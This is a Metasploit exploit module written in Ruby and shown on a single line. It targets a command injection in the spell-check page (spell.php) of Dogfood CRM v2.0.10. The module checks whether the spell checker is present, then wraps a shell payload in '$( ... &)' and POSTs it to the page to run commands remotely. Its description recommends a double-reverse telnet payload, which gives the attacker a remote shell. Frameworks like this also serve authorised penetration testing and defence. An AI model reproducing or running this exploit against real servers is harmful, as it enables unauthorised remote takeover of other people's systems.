## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Dogfood CRM spell.php Remote Command Execution', 'Description' => %q{ This module exploits a previously unpublished vulnerability in the Dogfood CRM mail function which is vulnerable to command injection in the spell check feature. Because of character restrictions, this exploit works best with the double-reverse telnet payload. This vulnerability was discovered by LSO and affects v2.0.10. }, 'Author' => [ 'LSO ', # Exploit module 'patrick', # Added check code, QA tested ok 20090303, there are no references (yet). ], 'License' => BSD_LICENSE, 'References' => [ [ 'OSVDB', '54707' ], [ 'URL', 'http://downloads.sourceforge.net/dogfood/' ], ], 'Privileged' => false, 'Platform' => ['unix'], # patrickw - removed win, linux -> untested 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 1024, 'DisableNops' => true, 'BadChars' => %q|'"`|, # quotes are escaped by PHP's magic_quotes_gpc in a default install 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby python bash telnet', } }, 'Targets' => [ ['Automatic', { }], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 03 2009' )) register_options( [ OptString.new('URIPATH', [ true, "The URI of the spell checker", '/dogfood/mail/spell.php']), ], self.class) end def check res = send_request_raw( { 'uri' => normalize_uri(datastore['URIPATH']), }, 1) if (res and res.body =~ /Spell Check complete/) return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit timeout = 1 cmd = payload.encoded data = "data=#{Rex::Text.uri_encode('$( '+ cmd + ' &)x')}" uri = normalize_uri(datastore['URIPATH']) response = send_request_cgi( { 'uri' => uri, 'method' => "POST", 'data' => data }, timeout) handler end end